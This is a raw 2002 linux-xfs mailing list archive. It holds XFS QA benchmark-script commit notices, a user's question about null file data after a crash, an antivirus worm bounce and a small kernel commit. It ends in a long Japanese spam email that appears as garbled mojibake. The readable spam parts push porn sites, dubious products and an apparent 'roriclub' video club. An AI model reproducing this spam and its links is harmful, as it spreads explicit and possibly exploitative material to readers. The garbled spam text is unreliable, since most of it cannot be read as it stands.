or bulk email from the Internet.) via ESMTP id VAA00349 for ; Wed, 6 Nov 2002 21:48:50 -0800 (PST) mail_from (fsgqa@bruce.melbourne.sgi.com) Received: (from fsgqa@localhost) by bruce.melbourne.sgi.com (8.9.3/8.9.3) id QAA15606 for linux-xfs@oss.sgi.com; Thu, 7 Nov 2002 16:47:49 +1100 Date: Thu, 7 Nov 2002 16:47:49 +1100 From: FSG QA Message-Id: <200211070547.QAA15606@bruce.melbourne.sgi.com> Subject: TAKE - QA/bench scripts X-archive-position: 1553 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: fsgqa@bruce.melbourne.sgi.com Precedence: bulk X-list: linux-xfs [nathans@ test box -- some of this is quite old, latest is last] Crank up dbench, now that everything seems to be very stable under load. We now do 1, 10, 50, and 100 client runs each night. cheers. Date: Wed Sep 4 03:58:49 PDT 2002 Workarea: bruce.melbourne.sgi.com:/home/fsgqa/qa/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:126667a cmd/xfstests/068 - 1.4 - bit more cleanup here and there - don't toss out _all_ the error (stderr) messages - some of em might help diagnose problems. Date: Wed Sep 4 04:14:37 PDT 2002 Workarea: bruce.melbourne.sgi.com:/home/fsgqa/qa/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:126668a cmd/xfstests/069.out - 1.1 - expected output for the O_APPEND test. cmd/xfstests/069 - 1.2 - several fixes, should now work properly. dont go too crazy with big files cos the scratch device may be of limited size. Date: Wed Sep 18 01:03:37 PDT 2002 Workarea: bruce.melbourne.sgi.com:/home/fsgqa/qa/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:127726a cmd/xfstests/tools/auto-qa - 1.35 - fix use of "bench" script args - pass in username/groupname not uid/gid. cmd/xfstests/bench - 1.2 - trivial updates to get more bits to work together. cmd/xfstests/run.dbench - 1.2 - change directory into the test directory before running. cmd/xfstests/run.tar - 1.2 - change directory into the test directory before running. don't use full path names in tar args - gives a warning. Date: Wed Sep 18 01:08:03 PDT 2002 Workarea: bruce.melbourne.sgi.com:/home/fsgqa/qa/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:127727a cmd/xfstests/run.tar - 1.3 - remove shell diagnostics which was accidentally included. Date: Wed Sep 18 01:15:56 PDT 2002 Workarea: bruce.melbourne.sgi.com:/home/fsgqa/qa/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:127728a cmd/xfstests/run.tar - 1.4 - also report the size of the tar file we're untarring. Date: Wed Nov 6 21:42:19 PST 2002 Workarea: bruce.melbourne.sgi.com:/home/fsgqa/qa/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:132282a cmd/xfstests/run.dbench50 - 1.1 - Call common.dbench script with fifty clients. cmd/xfstests/common.dbench - 1.1 - A generic dbench running script, derived from the old run.dbench. cmd/xfstests/run.dbench10 - 1.1 - Call common.dbench script with ten clients. cmd/xfstests/run.dbench100 - 1.1 - Call common.dbench script with one hundred clients. cmd/xfstests/bench - 1.6 - Make sure the path back to the scripts directory is available in the environment for scripts to get at if need be. cmd/xfstests/run.dbench - 1.4 - Call common.dbench script with a single client. From owner-linux-xfs@oss.sgi.com Thu Nov 7 01:32:36 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 01:32:38 -0800 (PST) Received: from thoth.sbs.de (thoth.sbs.de [192.35.17.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA79WZuR013157 for ; Thu, 7 Nov 2002 01:32:36 -0800 Received: from mail1.siemens.de (mail1.siemens.de [139.23.33.14]) by thoth.sbs.de (8.11.6/8.11.6) with ESMTP id gA79Xjg19915 for ; Thu, 7 Nov 2002 10:33:45 +0100 (MET) Received: from hvrz01fa.hvr.siemens.de (hvrz01fa.hvr.siemens.de [129.103.192.20]) by mail1.siemens.de (8.11.6/8.11.6) with ESMTP id gA79XiB28209 for ; Thu, 7 Nov 2002 10:33:45 +0100 (MET) Received: by hvrz01fa.hvr.siemens.de with Internet Mail Service (5.5.2656.59) id ; Thu, 7 Nov 2002 10:33:44 +0100 Message-ID: <15060ACD2D4CD4118439009027FD85B037ACF3@hvrz01fa.hvr.siemens.de> From: SMIGIELSKI ANDREAS To: "'linux-xfs@oss.sgi.com'" Subject: How to restore Inodes after a system crash. Date: Thu, 7 Nov 2002 10:33:35 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2656.59) Content-Type: text/plain X-archive-position: 1554 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: andreas.smigielski@siemens.com Precedence: bulk X-list: linux-xfs Hello, after a system crash files that have been frequently written or locked before have null data in them after a restart. The filesystem is intact. I read in a previous posting that the inodes get written before the data is written to the disk, so the inodes point to data that is not existent. I am using XFS_1.1 on linux (kernel-2.4.18-SGI_XFS_1.1). Is there a posibility to rostore the inodes to a previous state, so that they point to the latest written data on the disk? Regards, Andreas. From owner-linux-xfs@oss.sgi.com Thu Nov 7 05:09:17 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 05:09:18 -0800 (PST) Received: from maildab.dataaccess.com.br ([200.212.205.132]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7D9CuR021496 for ; Thu, 7 Nov 2002 05:09:16 -0800 Received: by maildab.dataaccess.com.br with Internet Mail Service (5.5.2653.19) id <4QD4DTXZ>; Thu, 7 Nov 2002 11:11:22 -0300 Message-ID: From: ANTIGEN_MAILDAB To: "'linux-xfs@oss.sgi.com'" Subject: Antigen found VIRUS= W32/FunLove.409 (Norman) virus Date: Thu, 7 Nov 2002 11:11:18 -0300 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-archive-position: 1555 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ANTIGEN_MAILDAB@dataaccess.com.br Precedence: bulk X-list: linux-xfs Antigen for Exchange found snoopy.exe infected with VIRUS= W32/FunLove.409 (Norman) worm. The message is currently Purged. The message, "A special new game", was sent from linux-xfs and was discovered in IMC Queues\Inbound located at DataAccess/DAB/MAILDAB. From owner-linux-xfs@oss.sgi.com Thu Nov 7 06:19:54 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 06:19:56 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7EJquR026619 for ; Thu, 7 Nov 2002 06:19:53 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id IAA72091 for ; Thu, 7 Nov 2002 08:20:59 -0600 (CST) Received: from dhcp212.munich.sgi.com (dhcp212.munich.sgi.com [144.253.197.212]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id IAA65097 for ; Thu, 7 Nov 2002 08:20:57 -0600 (CST) Received: (from hch@localhost) by dhcp212.munich.sgi.com (8.11.6/8.11.6) id gA7LZcj14690 for linux-xfs@oss.sgi.com; Thu, 7 Nov 2002 16:35:38 -0500 Resent-Message-Id: <200211072135.gA7LZcj14690@dhcp212.munich.sgi.com> Received: from nodin.corp.sgi.com (fddi-nodin.corp.sgi.com [198.29.75.193]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id QAA90221 for ; Wed, 6 Nov 2002 16:07:50 -0600 (CST) From: hch@lab343.munich.sgi.com Received: from lab343.munich.sgi.com (lab343.munich.sgi.com [144.253.195.43]) by nodin.corp.sgi.com (8.12.3/8.11.4/nodin-1.0) with ESMTP id gA6M7nkZ30523920 for ; Wed, 6 Nov 2002 14:07:49 -0800 (PST) Received: from lab343.munich.sgi.com (localhost [127.0.0.1]) by lab343.munich.sgi.com (8.12.3/8.12.2/SuSE Linux 0.6) with ESMTP id gA6M6XLV001245 for ; Wed, 6 Nov 2002 23:06:34 +0100 Received: (from hch@localhost) by lab343.munich.sgi.com (8.12.3/8.12.2/Submit) id gA6LKWWd011261 for hch@sgi.com; Wed, 6 Nov 2002 22:20:32 +0100 Date: Wed, 6 Nov 2002 22:20:32 +0100 Message-Id: <200211062120.gA6LKWWd011261@lab343.munich.sgi.com> Subject: TAKE - Fix compilation with ACLs enabled To: undisclosed-recipients:; Resent-From: hch@sgi.com Resent-Date: Thu, 7 Nov 2002 16:35:37 -0500 Resent-To: linux-xfs@oss.sgi.com X-archive-position: 1556 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@sgi.com Precedence: bulk X-list: linux-xfs Date: Wed Nov 6 13:21:33 PST 2002 Workarea: lab343.munich.sgi.com:/home/hch/repo/slinx/2.5.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:132214a linux/fs/xfs/linux/xfs_iops.c - 1.186 - Remove a bogus ifdef From owner-linux-xfs@oss.sgi.com Thu Nov 7 06:53:32 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 06:53:35 -0800 (PST) Received: from ooo.no (fb171157.ot.FreeBit.NE.JP [61.203.171.157]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7EoouR027598 for ; Thu, 7 Nov 2002 06:52:19 -0800 Received: from 5-A ([192.168.0.3]) by ooo.no (8.9.3+3.2W/3.7W) with SMTP id XAA21521; Thu, 7 Nov 2002 23:47:55 +0900 Message-Id: <200211071447.XAA21521@ooo.no> From: =?iso-2022-jp?B?Y21haWw2NjY2anA=?= To: =?iso-2022-jp?B?MDIxMDIx?=@ooo.no Reply-To: cmail6666jp@yahoo.co.jp Date: Thu, 07 Nov 2002 23:45:52 +0900 Subject: =?iso-2022-jp?B?GyRCTCQ+NUJ6OS05cCIoRUU7UiVhITwlazktOXAbKEo=?= Content-Type: text/plain Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-archive-position: 1557 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cmail6666jp@yahoo.co.jp Precedence: bulk X-list: linux-xfs <‘—MŽÒ> “dŽqƒ[ƒ‹LŽÐ ¡ŒãAL‚ð‚²Šó–]‚µ‚È‚¢•û‚Í‚±‚±‚Ö (•K‚¸–{•¶‚É‚ ‚È‚½‚̃[ƒ‹ƒAƒhƒŒƒX‚Ì‚Ý‚ð‚¨‘‚«‰º‚³‚¢j king@reset.jp ƒ[ƒ‹ƒAƒhƒŒƒX‚ð‚²‹L“ü‚µ‚Ä‚­‚¾‚³‚¢B §104-0061 “Œ‹ž“s’†‰›‹æ‹âÀ8-19-3 ‘æ2ƒEƒCƒ“ƒOƒrƒ‹@3F ƒ[ƒ‹ƒ}ƒKƒWƒ“”­s TEL@03-3544-6222 FAX@03-3544-6218 =============================================================== –â‘褕i‚΂©‚èW‚ß‚Ü‚µ‚½‚Ì‚ÅAÁ‚³‚ê‚é‹°‚ꂪ‚ ‚è‚Ü‚·‚Ì‚Å ‚¨\ž‚Ý‚Í‚¨‘‚ß‚ÉIã‚©‚燂ɃNƒŠƒbƒN‚µ‚Ä‚Ý‚Ä‚ËI =============================================================== \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@ÔŠOüƒŒƒ“ƒY@¡ ‘S‹@Ží‘Ήžƒƒ“ƒ^ƒbƒ`Ž® ‚±‚ꂾ‚¯ƒNƒbƒLƒŠŽB‚ê‚é‚È‚çA—‚ÌŽq‚É‚Í—â‚⊾‚à‚Ì ƒ^ƒ“ƒ|ƒ“‚âƒiƒvƒLƒ“‚àƒoƒbƒ`ƒŠI ‚Ü‚¸‚ÍÔŠOüƒJƒƒ‰‚ª‚Ƃ炦‚½‰f‘œ‚ð‚²——‚­‚¾‚³‚¢ http://www.yentown.net/erodepa-town/jouhou/sukesuke/ @«@@@@«@@@@«@@@@«@ http://hostingfree.com/twincle/sukesuke/ @«@@@@«@@@@«@@@@«@ http://www.filth-hosts.com/users/jouhou/sukesuke/ @«@@@@«@@@@«@@@@«@ http://www.smut-host.com/jouhou/sukesuke/ @«@@@@«@@@@«@@@@«@ http://alienporn.sexplanets.com/jouhou/sukesuke/ @«@@@@«@@@@«@@@@«@ http://www.agreathost.net/jouhou/sukesuke/ @«@@@@«@@@@«@@@@« http://www.yahan.com/amateuralley/sougou10/sukesuke/ @ ƒTƒ“ƒRƒ“ƒŒƒ“ƒY \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@Œg‘єԆ‹³‚¦‚Ü‚·@¡ ‘S‘Še’n‚Ì—‚ÌŽq‚ÌŒg‘єԆ‹³‚¦‚¿‚Ⴄ‚æI ¡ATŠ§Ž‚Řb‘蕦“«I –{‹C‚Åo‰ï‚¢‚ð‹‚ß‚Ä‚é—«‚̔Ԇ‚¾‚¯B ƒTƒNƒ‰A‚â‚点ˆêØ–³‚µB Œg‘єԆ‹³‚¦‚éƒVƒXƒeƒ€‚Í“–“X‚ªŒ³‘c‚Å‚·B http://www.yentown.net/erodepa-town/jouhou/keitai/ @«@@@@«@@@@«@@@@«@ http://hostingfree.com/twincle/keitai/ @«@@@@«@@@@«@@@@«@ http://www.filth-hosts.com/users/jouhou//keitai/ @«@@@@«@@@@«@@@@«@ http://www.smut-host.com/jouhou/keitai/ @«@@@@«@@@@«@@@@«@ http://alienporn.sexplanets.com/jouhou/keitai/ @«@@@@«@@@@«@@@@«@ http://www.agreathost.net/jouhou/keitai/ @«@@@@«@@@@«@@@@«@ http://www.yahan.com/amateuralley/sougou10/keitai/ @@@@@@@@@@@@@@@@@@@@@ƒ}[ƒxƒ‰ƒXƒNƒ‰ƒu \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@¡ˆê”Ô”„‚ê‚Ä‚¢‚é•ïŒsƒNƒŠ[ƒ€@¡ •ïŒs‰ðÁ‚É‚Í‚±‚ꂪˆê”ÔI ƒƒ“ƒ^ƒbƒ`A“h‚邾‚¯‚ÅOK “ñTŠÔ‚ÅŠ®‘S‚É•ïŒs‚ª‰ðÁB –³LAŽg—p‚µ‚Ä‚¢‚é‚Ì‚ªƒoƒŒƒiƒCB ‚±‚ê‚Å•ïŒs‚©‚çƒTƒˆƒEƒiƒ‰ http://www.yentown.net/erodepa-town/jouhou/kinkado/ @«@@@@«@@@@«@@@@«@ http://hostingfree.com/twincle/kinkado/ @«@@@@«@@@@«@@@@«@ http://www.filth-hosts.com/users/jouhou/kinkado/ @«@@@@«@@@@«@@@@«@ http://www.smut-host.com/jouhou/kinkado/ @«@@@@«@@@@«@@@@«@ http://alienporn.sexplanets.com/jouhou/kinkado/ @«@@@@«@@@@«@@@@«@ http://www.agreathost.net/jouhou/kinkado/ @«@@@@«@@@@«@@@@«@ http://www.yahan.com/amateuralley/sougou10/kinkado/ @@@@@@@@@@@@@@@@@@ƒ}ƒWƒJƒ‹ƒhƒ‰ƒbƒNƒXƒgƒA[@ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@‹à–ׂ¯ˆê”Ô@¡ ¡‚܂Ńpƒ`ƒ“ƒR‚É“ŠŽ‘‚µA–ׂ©‚Á‚Ä‚¢‚é•û‚É‚Í•s—v‚Å‚·B ‘¹‚ð‚µ‚Ä‚¢‚é•ûA•›‹Æ‚ð‚µ‚ÄŽû“ü‚𓾂½‚¢•ûAƒvƒ‚Æ‚µ ‚ÄU—ª–@‚ð“`Žö‚µ‚Ü‚·B http://www.yentown.net/erodepa-town/jouhou/pati/ @«@@@@«@@@@«@@@@«@ http://hostingfree.com/twincle/pati/ @«@@@@«@@@@«@@@@«@ http://www.filth-hosts.com/users/jouhou/pati/ @«@@@@«@@@@«@@@@«@ http://www.smut-host.com/jouhou/pati/ @«@@@@«@@@@«@@@@«@ http://alienporn.sexplanets.com/jouhou/pati/ @«@@@@«@@@@«@@@@«@ http://www.agreathost.net/jouhou/pati/ @«@@@@«@@@@«@@@@«@ http://www.yahan.com/amateuralley/sougou10/pati/ @@@@@@@@@@@@@@@@@@@@@@@ƒvƒ—{¬uÀ@ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@ƒnƒbƒJ[ŽèŒûŒöŠJ@¡ ‰SŽÒ‚Å‚à•ª‚é‚悤‚É•ª‚è‚â‚·‚­‰ðà –{uÀ‚Å‚ÍAƒnƒbƒJ[AƒNƒ‰ƒbƒJ[‚È‚Ç‚ÌŽèŒû‚ðŒöŠJ‚·‚邱‚Æ‚ÅA ƒRƒ“ƒsƒ…[ƒ^”Æß‚©‚çg‚ðŽç‚éî•ñ‚ð’ñ‹Ÿ‚µ‚Ä‚¨‚è‚Ü‚·B â‘΂Ɉ«—p‚³‚ê‚È‚¢‚悤‚É‚¨Šè‚¢‚µ‚Ü‚·B ‚ ‚­‚Ü‚Å‚àŽ©•ª‚̃}ƒVƒ“‚ɑ΂µ‚ẴZƒLƒ…ƒŠƒeƒB‚ÌŒüã‚É‚¨–𗧂ĉº‚³‚¢B http://www.yentown.net/erodepa-town/jouhou/hakka/ @«@@@@«@@@@«@@@@«@ http://hostingfree.com/twincle/hakka/ @«@@@@«@@@@«@@@@«@ http://www.filth-hosts.com/users/jouhou/hakka/ @«@@@@«@@@@«@@@@«@ http://www.smut-host.com/jouhou/hakka/ @«@@@@«@@@@«@@@@«@ http://alienporn.sexplanets.com/jouhou/hakka/ @«@@@@«@@@@«@@@@«@ http://www.agreathost.net/jouhou/hakka/ @«@@@@«@@@@«@@@@«@ http://www.yahan.com/amateuralley/sougou10/hakka/ @@@@@@@@@@@@@@@@@@@@@@AIEƒ\ƒtƒgŠJ”­o”Å•” \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@‘ی𗬂ð[‚ß‚éƒ`ƒƒƒ“ƒX@¡ ‘Ûo‰ï‚¢‚ÌLê™ ¢ŠEŠe‘‚ÌLady‚Æ’m‚臂¤ƒ`ƒƒƒ“ƒX!! ‚ ‚È‚½‚àƒXƒeƒL‚È—ö‚µ‚Ü‚¹‚ñ‚©H “ú–{l’j«‚Æ•t‚«‡‚¢‚½‚¢ŠO‘l—«‚ð•åW‚µ‚½Œ‹‰ÊA ‚È‚ñ‚Æ2516lW‚Ü‚è‚Ü‚µ‚½I ‹CŒy‚ÈŒðÛŠó–]‚Ì•ûA^Œ•‚É‘ÛŒ‹¥‚ðl‚¦‚Ä‚¢‚é•û‚Ç‚¿‚ç‚àOKô ƒXƒeƒL‚ÈŠO‘l—«‚ðЉ‚Ü‚·B ŽÊ^•tƒvƒƒtƒB[ƒ‹‚©‚çƒAƒiƒ^‚ÌD‚Ý‚Å‘I‚ñ‚Å‚Ë™ http://www.yentown.net/erodepa-town/jouhou/kokusai/ @«@@@@«@@@@«@@@@«@ http://hostingfree.com/twincle/kokusai/ @«@@@@«@@@@«@@@@«@ http://www.filth-hosts.com/users/jouhou/kokusai/ @«@@@@«@@@@«@@@@«@ http://www.smut-host.com/jouhou/kokusai/ @«@@@@«@@@@«@@@@«@ http://alienporn.sexplanets.com/jouhou/kokusai/ @«@@@@«@@@@«@@@@«@ http://www.agreathost.net/jouhou/kokusai/ @«@@@@«@@@@«@@@@«@ http://www.yahan.com/amateuralley/sougou10/kokusai/ @@@@@@@@@@@@@@@@@@@@@‚s‚b‚oЉîƒZƒ“ƒ^[ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@’ʘb—¿ƒ^ƒ_@¡ ƒzƒ“ƒg‚É‚¢‚­‚çŽg‚Á‚Ä‚àŠî–{—¿‹à‚¾‚¯!!! Žž‚Æꊂð–â‚킸A‚¢‚‚łà’ʘb‚ªƒ^ƒ_‚É‚È‚éB ô‚â‚è‚©‚½ô@“d˜b‚·‚é‚Æ‚«‚É“Á’è‚̔Ԇ‚ðƒ_ƒCƒ„ƒ‹‚·‚邾‚¯I ‚±‚̤•i‚̓‚ƒm‚Å‚Í‚ ‚è‚Ü‚¹‚ñB ‚ ‚é‚â‚è•û‚Å“d˜b‚ð‚©‚¯‚邾‚¯!!! Ž©•ª‚ÌŒg‘Ñ‚ª‚»‚Ì‚Ü‚ÜŽg‚¦‚éB “ä‚ß‚­ƒ^ƒ_‚©‚¯‚̳‘̂̓RƒR«‚ð‰Ÿ‚µ‚Ä! http://www.yentown.net/erodepa-town/jouhou/tuuwa/ @«@@@@«@@@@«@@@@«@ http://hostingfree.com/twincle/tuuwa/ @«@@@@«@@@@«@@@@«@ http://www.filth-hosts.com/users/jouhou/tuuwa/ @«@@@@«@@@@«@@@@«@ http://www.smut-host.com/jouhou/tuuwa/ @«@@@@«@@@@«@@@@«@ http://alienporn.sexplanets.com/jouhou/tuuwa/ @«@@@@«@@@@«@@@@«@ http://www.agreathost.net/jouhou/tuuwa/ @«@@@@«@@@@«@@@@«@ http://www.yahan.com/amateuralley/sougou10/tuuwa/ @@@@@@@@@@@@@@@@@@ @@ƒS[ƒ‹ƒhî•ñŠé‰æŽÐ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@‘Û–Æ‹–‚̎擾•û–@@¡ ‘Û–Æ‹–‚Å“ú–{‚𑖂낤II ‘‚«Š·‚¦‚Í”N‚P‰ñŽÊ^—X‘—‚ÅOK i•K—vŒo”ïj q‹óŒ”@39,000‰~Aƒzƒeƒ‹‘ã@7,000‰~ i—pˆÓ‚·‚é‚à‚Ìj ŽÊ^2–‡AƒpƒXƒ|[ƒg cccccccc \¿‚©‚çŽæ“¾‚Ü‚Å ‚·‚ׂÄeØ‚²ˆÄ“à ŠCŠO‚És‚Á‚½‚±‚Æ‚Ì‚È‚¢ l‚Å‚àŠÈ’P‚Ɏ葱‚«‚Ìo—ˆ‚é ƒmƒEƒnƒEƒeƒLƒXƒg‚ª‚ ‚ê‚ΈÀS ƒmƒEƒnƒEƒeƒLƒXƒgˆêŽ®@3,000‰~ ‚¨\‚µž‚Ý‚Í‚±‚±‚Ö http://www.yentown.net/erodepa-town/jouhou/kokumen/ @«@@@@«@@@@«@@@@«@ http://hostingfree.com/twincle/kokumen/ @«@@@@«@@@@«@@@@«@ http://www.filth-hosts.com/users/jouhou/kokumen/ @«@@@@«@@@@«@@@@«@ http://www.smut-host.com/jouhou/kokumen/ @«@@@@«@@@@«@@@@«@ http://alienporn.sexplanets.com/jouhou/kokumen/ @«@@@@«@@@@«@@@@«@ http://www.agreathost.net/jouhou/kokumen/ @«@@@@«@@@@«@@@@«@ http://www.yahan.com/amateuralley/sougou10/kokumen/ @@@@@@@@@@@@@@@@@@@@‘Ûƒ‰ƒCƒZƒ“ƒXƒZƒ“ƒ^[ QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ ¡@ƒyƒjƒX‹­‰»ƒ}ƒVƒ“@¡ Ž¥ŠíƒCƒIƒ“‚ª“d“®‚É‚æ‚Á‚Ä’¼Ú‹Ç•”“à‚ðŽhŒƒ ƒyƒjƒX‚Ì‹Ø“÷‚ª‘‹­B ŽO“úŠÔ‚ÌŽg—p‚Å’¼Œa‚PƒZƒ“ƒ`‚Í‘¾‚­‚È‚é ׂ­‚Ä‚¨”Y‚Ý‚Ì•û‚Í‹g•ñI ‚±‚ÌŠí‹ï‚ðŽg—p‚·‚ê‚΂·‚®‚ÉŽ©M‚ª•œŠˆ ’†Ü‚êA‘˜RAƒCƒ“ƒ|ƒeƒ“ƒX‚Å‚¨”Y‚Ý‚Ì•û‚É‚¨Š©‚ß‚µ‚Ü‚·B •›ì—p–³‚µB‘‘åŒø‰Ê”²ŒQ http://www.yentown.net/erodepa-town/jouhou/penikyou/ @«@@@@«@@@@«@@@@«@ http://hostingfree.com/twincle/penikyou/ @«@@@@«@@@@«@@@@«@ http://www.filth-hosts.com/users/jouhou/penikyou/ @«@@@@«@@@@«@@@@«@ http://www.smut-host.com/jouhou/penikyou/ @«@@@@«@@@@«@@@@«@ http://alienporn.sexplanets.com/jouhou/penikyou/ @«@@@@«@@@@«@@@@«@ http://www.agreathost.net/jouhou/penikyou/ @«@@@@«@@@@«@@@@«@ http://www.yahan.com/amateuralley/sougou10/penikyou/ @@@@@@@@@@@@@@@@@@@@@@@@‚ ‚肪‚½Ž¡—É@ QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ ¡@‹É”éî•ñŽ@¡ ‚±‚̈êû‚Å“­‚©‚¸‚ÉH‚ׂĂ¢‚¯‚éî•ñ‚ªƒMƒbƒVƒŠ–žÚ! D•]‚ɂ‚«A‹‚É‘æ‚R’e‚ª“oê!! ’N‚à’m‚ç‚È‚¢— ‹Z^— î•ñ‚È‚Ì‚ÅA”Æ߃XƒŒƒXƒŒ‚âˆá–@‚ÈŽ–‚à...B ƒ‚ƒ`ƒƒ“Aˆâ–@ƒlƒ^‚͈«—pŒµ‹ÖB i—áF”ñ’Ê’m‚Ŏ󂯂½“d˜b‚̔Ԇ‚ð’m‚é•û–@j “à—e[ŽÀ‚Ì’´•Û‘¶–{B J‚Å‚ŠzŽæˆø‚³‚ê‚Ä‚¢‚é“à—e‚ª‚¬‚Á‚µ‚èB ƒoƒbƒNƒiƒ“ƒo[‘æ‚P’eE‘æ‚Q’e‚àâŽ^”­”„’†ô http://www.yentown.net/erodepa-town/jouhou/max/ @«@@@@«@@@@«@@@@«@ http://hostingfree.com/twincle/max/ @«@@@@«@@@@«@@@@«@ http://www.filth-hosts.com/users/jouhou/max/ @«@@@@«@@@@«@@@@«@ http://www.smut-host.com/jouhou/max/ @«@@@@«@@@@«@@@@«@ http://alienporn.sexplanets.com/jouhou/max/ @«@@@@«@@@@«@@@@«@ http://www.agreathost.net/jouhou/max/ @«@@@@«@@@@«@@@@«@ http://www.yahan.com/amateuralley/sougou10/max/ @@@@@@@@@@@@@@@@@@@@@@‚l‚`‚w“ÁŽêî•ñŽÐ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@‰ïˆõ§ƒƒŠ[ƒ^ƒNƒ‰ƒu@¡ ‚c‚u‚cEƒrƒfƒI2500‰~‚©‚ç ƒnƒCƒNƒIƒŠƒeƒB‰æŽ¿‚ł̔̔„ƒ}ƒjƒAƒbƒN‚ȉf‘œ‚Ì”X ‚Ü‚¸‚̓Jƒ^ƒƒO¿‹‚¨‘Ò‚¿‚µ‚Ä‚¨‚è‚Ü‚·i‹Ç—¯‚ß‚Å‚Ì¿‹‰Â”\j ‚¨ŽèŒ³‚É‚¨“Í‚­••“›‚É‚ÍA‚¨‹q—l‚Ì‚¨–¼‘O‚Ì‚ÝI“–ŽÐ–¼‚͈êØ“ü‚è‚Ü‚¹‚ñB ƒJƒ^ƒƒO‚ð‚¨Œ©‚ÄA‚¨\‚µž‚Ý‚­‚¾‚³‚¢B http://www.yentown.net/bbschat-town/sefle/roriclub/ @«@@@@«@@@@«@@@@«@ http://voyeur.elitecities.com/keykey/roriclub/ @«@@@@«@@@@«@@@@«@ http://www.yentown.net/fetish-town/iro2/roriclub/ @«@@@@«@@@@«@@@@« http://hostingfree.com/moongrow/roriclub/ @«@@@@«@@@@«@@@@« http://www.filth-hosts.com/users/iroiro/roriclub/ @«@@@@«@@@@«@@@@« http://www.smut-host.com/iroiro/roriclub/ @«@@@@«@@@@«@@@@« http://alienporn.sexplanets.com/iroiro/roriclub/ @«@@@@«@@@@«@@@@« http://www.agreathost.net/iroiro/roriclub/ @«@@@@«@@@@«@@@@«@ http://www.Muryoweb.com/xxxplanet/sougo8/ @@@@@@@@@@@@@@@@@@@@@‰ïˆõ§ƒƒŠ[ƒ^ƒNƒ‰ƒu QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ ¡SEXƒtƒŒƒ“ƒh•åW¡ ^Œ•‚ÉSEXƒtƒŒƒ“ƒh‚ð’T‚µ‚Ä‚¢‚él‚¾‚¯W‡I ‘S‘‚Ç‚±‚Å‚à‹ß‚­‚Ìl‚ðƒvƒƒtƒB[ƒ‹•t‚Å‚·‚®Ð‰îB Žá‚¢l‚©‚çn”N‚Ü‚Å‚¢‚Á‚Ï‚¢‚¢‚é‚æ! ƒ_ƒ“ƒi‚É“à‚ÌH‚ðŠy‚µ‚à‚¤I http://www.yentown.net/bbschat-town/sefle/sex/ @«@@@@«@@@@«@@@@«@@ http://voyeur.elitecities.com/keykey/sex/ @«@@@@«@@@@«@@@@«@ http://www.yentown.net/fetish-town/iro2/sex/ @«@@@@«@@@@«@@@@«@ http://hostingfree.com/moongrow/sex/ @«@@@@«@@@@«@@@@«@ http://www.filth-hosts.com/users/iroiro/sex/ @«@@@@«@@@@«@@@@«@ http://www.smut-host.com/iroiro/sex/ @«@@@@«@@@@«@@@@«@ http://alienporn.sexplanets.com/iroiro/sex/ @«@@@@«@@@@«@@@@«@ http://www.agreathost.net/iroiro/sex/ @«@@@@«@@@@«@@@@«@ http://www.Muryoweb.com/xxxplanet/sougo8/sex/ ƒŒƒ‚ƒ“ƒNƒ‰ƒu 